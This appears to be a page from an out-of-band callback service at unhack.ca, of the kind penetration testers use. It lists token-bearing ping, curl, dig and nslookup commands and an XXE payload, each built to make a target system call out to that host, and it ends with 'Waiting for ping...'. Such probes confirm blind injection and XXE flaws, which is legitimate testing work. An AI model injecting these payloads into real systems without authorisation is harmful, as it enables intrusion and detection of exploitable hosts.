$ ping -c1 -p 009928f5fb213882b11b9a35604f7800 unhack.ca
 
$ curl http://unhack.ca/p/9928f5fb213882b11b9a35604f78
 
$ dig 9928f5fb213882b11b9a35604f78 @unhack.ca
 
$ dig 9928f5fb213882b11b9a35604f78.ns.unhack.ca
 
C:\> nslookup 9928f5fb213882b11b9a35604f78 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9928f5fb213882b11b9a35604f78">]>
    <foo>&xxe;</foo>
 
Waiting for ping...